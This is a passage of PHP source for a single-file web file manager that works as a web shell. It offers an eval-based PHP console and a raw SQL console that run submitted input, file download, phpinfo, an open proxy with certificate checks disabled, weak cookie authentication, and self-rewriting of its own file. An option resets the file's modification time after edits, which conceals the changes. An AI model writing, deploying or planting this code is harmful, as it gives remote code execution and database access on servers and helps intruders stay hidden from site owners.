		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJg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ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");

}


.file {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRC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GoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

